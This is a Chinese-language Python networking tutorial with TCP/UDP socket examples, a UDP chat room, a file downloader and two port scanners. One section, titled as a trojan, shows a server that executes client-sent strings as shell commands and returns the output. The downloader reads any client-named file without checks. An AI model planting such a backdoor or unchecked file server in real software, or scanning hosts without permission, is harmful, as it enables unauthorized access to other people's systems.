网络编程
套接字!!!! UNIX af_unix(af_inet) TCP UDP
⽹网络通信就是拿到别⼈人的套接字然后给他发信息!!!!!!
简易通信
新建一个项目,包含服务端server.py和客户端client.py。
# -*- coding=utf-8 -*-
#服务端server
import socket
def main():
s = socket.socket() #导入socket模块
host = socket.gethostname() #获取自己的ip地址
port= 12345 #一会用这个端口通信
s.bind((host,port)) #绑定端口
s.listen(5) #等待客户连接,最多5个人
while True:
c,addr = s.accept()#建立和客户端的连接
print("连接地址",addr) #获取客户的ip地址
c.send("welcome".encode("utf-8")) #发送信息给客户
print(c.recv(1024).decode("utf-8")) #接受客户信息
c.close() #关闭通信
pass
if __name__ == '__main__':
main()
# -*- coding=utf-8 -*-
#客户端client
import socket
def main():
s = socket.socket() # 导入socket模块
host = socket.gethostname()
port = 12345
s.connect((host,port)) #连接服务器
msg = input("发送信息")
s.send(msg.encode("utf-8")) # 发送信息
print(s.recv(1024).decode("utf-8"))
s.close()
pass
if __name__ == '__main__':
main()
运行两个程序,在client.py中输入"nihao",接着这条信息会发送给服务端,并且服务端会对客户端发送消息"welcome"。
client.py
发送信息nihao
welcome
server
连接地址 (‘IP’, 50638)
nihao
进阶通信(循环)
#服务端代码
# -*- coding: UTF-8 -*-
import socket
def main():
#af_inet是ipv4,sock_stream是使用tcp通信
tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#绑定端口
tcp_server_socket.bind(("",8999))
#允许多少人来连接我
tcp_server_socket.listen(128)
#循环为多个客户服务多次
while True:
#等待客户连接,并且保存客户的socket和ip地址
new_client_socket,client_addr = tcp_server_socket.accept()
print("the %s connecting"%(str(client_addr)))
#给客户发送信息
new_client_socket.send("welcome".encode("utf-8"))
#循环为一个客户服务
while True:
try:
#接收客户发来的数据
recv_data = new_client_socket.recv(1024)
print(recv_data.decode("utf-8"))
except:
print("断开连接")
break
#关闭套接字
new_client_socket.close()
tcp_server_socket.close()
pass
if __name__ == '__main__':
main()
#客户端代码
# -*- coding: UTF-8 -*-
import socket
def main():
tcp_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_ip = "IP地址"
server_port = 8999
server_add = (server_ip,server_port)
#连接服务器
tcp_socket.connect(server_add)
#接收第一次数据
first_data = tcp_socket.recv(1024)
print(first_data.decode("utf-8"))
while True:
#发送数据
send_data = input("send--->")
tcp_socket.send(send_data.encode("utf-8"))
tcp_socket.close()
pass
if __name__ == '__main__':
main()
一个木马程序
服务端:
# -*- coding: UTF-8 -*-
import socket
import os
def main():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 12345
s.bind((host,port))
s.listen(5)
while True:
c,addr = s.accept()
print("连接地址:",addr)
c.send("welcome".encode("utf-8"))
while 1:
try:
#解码客户端输过来的信息
recv_data = c.recv(1024).decode("utf-8")
print(recv_data)
#如果输过来的信息是"cmd",则进入木马操作循环
#接下来的信息都视为系统指令
if recv_data == 'cmd':
while True:
#"向客户端发送ok cmd start"来确认进入木马操作
c.send("ok cmd start".encode("utf-8"))
#接受客户端发出的指令
data = c.recv(1024)
#解码
recv_data2 = data.decode("utf-8")
#如果指令为"exit"则退出木马循环,返回普通通信循环
if recv_data2 == 'exit':
c.send("cmd stop".encode("utf-8"))
break
else:
#将输过来的指令当作系统指令执行,结果发送给客户端
x = os.popen(recv_data2).read()
c.send(x.encode("utf-8"))
else:
#命令不是"cmd"就将接收到的信息发回给客户端
c.send(recv_data.encode("utf-8"))
except:
print("断开连接")
break
c.close()
s.close()
pass
if __name__ == '__main__':
main()
# -*- coding: UTF-8 -*-
import socket
def main():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = '10.211.55.3'
port = 12345
s.connect((host,port))
while 1:
data_recv = s.recv(1024)
print(data_recv.decode("utf-8"))
msg = input("send msg:")
s.send(msg.encode("utf-8"))
s.close()
pass
if __name__ == '__main__':
main()
支持命令的端口扫描器
# -*- coding: UTF-8 -*-
#支持命令的端口扫描器
import socket,sys
#判断端口是否开放
def open(ip,port):
s = socket.socket()
try:
s.connect((ip,port))
return True
except:
return False
pass
#默认扫描函数
def scan(ip,port):
for x in port:
if open(ip,x):
print("%s host %s port open"%(ip,x))
else:
print("%s host %s port close" % (ip, x))
pass
#范围扫描
def rscan(ip,s,e):
for x in range(s,e):
if open(ip,x):
print("%s host %s port open"%(ip,x))
else:
print("%s host %s port close" % (ip, x))
pass
def main():
defaultport = [135, 139, 445, 1433, 3306, 3389, 5944]
str = sys.argv[1]
if str[0] == '-': #如果参数以--开头
option = sys.argv[1][2:] #看一下之后的参数
if option =='version':
print("版本号1.0")
elif option=='help':
print("python xx.py [ip地址] [端口:80,99或者80-99]")
sys.exit()
if len(sys.argv)==2: #默认扫描无参数
scan(sys.argv[1],defaultport)
elif len(sys.argv)==3:
if ',' in sys.argv[2]: #xx.py ip 80,21,89
p = sys.argv[2]
p = p.split(',')
a = []
for x in p:
a.append(int(x))
defaultport = a
scan(sys.argv[1],defaultport)
elif '-' in sys.argv[2]: #xx.py ip 80-99
a = sys.argv[2]
a = a.split('-')
s = int(a[0])
e = int(a[1])
rscan(sys.argv[1],s,e)
pass
if __name__ == '__main__':
main()
端口扫描器2.0
# -*- coding: UTF-8 -*-
#支持命令的端口扫描器
import socket,sys
from optparse import OptionParser
#判断端口是否开放
def open(ip,port):
s = socket.socket()
try:
s.connect((ip,port))
return True
except:
return False
pass
#默认扫描函数
def scan(ip,port):
for x in port:
if open(ip,x):
print("%s host %s port open"%(ip,x))
else:
print("%s host %s port close" % (ip, x))
pass
#范围扫描
def rscan(ip,s,e):
for x in range(s,e):
if open(ip,x):
print("%s host %s port open"%(ip,x))
else:
print("%s host %s port close" % (ip, x))
pass
def main():
usage = "usage:xxx.py -i ip地址 -p 端口"
parse =OptionParser(usage=usage)
parse.add_option("-i","--ip",type="string",dest="ipaddress",help="your target ip here")
parse.add_option("-p","--port",type="string",dest="port",help="your target port here")
(option,args)=parse.parse_args() #获取选项和参数进行赋值
ip = option.ipaddress
port = option.port
defaultport = [135, 139, 445, 1433, 3306, 3389, 5944]
if ',' in port: #xx.py ip 80,21,89
port = port.split(',')
a = []
for x in port:
a.append(int(x))
defaultport = a
scan(ip,defaultport)
elif '-' in port: #xx.py ip 80-99
port = port.split('-')
s = int(port[0])
e = int(port[1])
rscan(ip,s,e)
elif 'all' in port:
rscan(ip,1,65535)
elif 'default' in port:
scan(ip,defaultport)
pass
if __name__ == '__main__':
main()
UDP通信
服务端
# -*- coding: UTF-8 -*-
import socket
def main():
#初始化套接字,使用ipv4的udp通信
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(('',6000))
while True:
data,addr = s.recvfrom(1024)
print("connect by:",addr)
print("recv data:",data.decode("utf-8"))
s.sendto(data,addr)
s.close()
pass
if __name__ == '__main__':
main()
客户端
# -*- coding: UTF-8 -*-
import socket
def main():
c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
while True:
text = input("---->")
c.sendto(text.encode("utf-8"),("10.211.55.3",6000))
if text == 'exit':
break
ans = c.recvfrom(1024)
print(ans[0].decode("utf-8"))
c.close()
pass
if __name__ == '__main__':
main()
UDP聊天室
# -*- coding: UTF-8 -*-
import socket
def send_msg(udp_socket):
#获取发送内容
dest_ip = input("请输入对方的ip:")
dest_port = int(input("请输入对方的port:"))
send_data = input("你想说啥:")
udp_socket.sendto(send_data.encode("utf-8"),(dest_ip,dest_port))
pass
def recv_msg(udp_socket):
recv_data = udp_socket.recvfrom(1024)
print("%s : %s "%(str(recv_data[1]),recv_data[0].decode("utf-8")))
pass
def main():
#创建udp套接字
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#绑定信息
udp_socket.bind(("",7788))
while True:
send_msg(udp_socket)
recv_msg(udp_socket)
pass
if __name__ == '__main__':
main()
下载器
服务端
# -*- coding: UTF-8 -*-
import socket
def send_file_2_client(new_client_socket,client_addr):
#客户端要下载的文件名
file_name = new_client_socket.recv(1024).decode("utf-8")
print("客户端%s 需要下载%s"%(str(client_addr),file_name))
#按照客户要求读取文件
file_content = None
try:
f = open(file_name,"rb")
file_content = f.read()
f.close()
except:
print("没有要下载的文件%s"%(file_name))
#如果有数据就发给客户
if file_content:
new_client_socket.send(file_content)
pass
def main():
tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp_server_socket.bind(("",7788))
tcp_server_socket.listen(100)
while True:
new_client_socket,client_addr = tcp_server_socket.accept()
#调用发送文件的函数
send_file_2_client(new_client_socket,client_addr)
new_client_socket.close()
tcp_server_socket.close()
pass
if __name__ == '__main__':
main()
客户端
# -*- coding: UTF-8 -*-
import socket
def main():
tcp_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
dest_ip = input("从哪个服务器下载:")
dest_port = int(input("输入下载器的端口:"))
tcp_socket.connect((dest_ip,dest_port))
download_file_name = input("请输入要下载的文件名:")
#把文件名发给服务器
tcp_socket.send(download_file_name.encode("utf-8"))
#接收下载的文件,1M
recv_data = tcp_socket.recv(1024*1024)
#保存数据到文件中
with open("new_"+download_file_name,"wb")as f:
f.write(recv_data)
tcp_socket.close()
pass
if __name__ == '__main__':
main()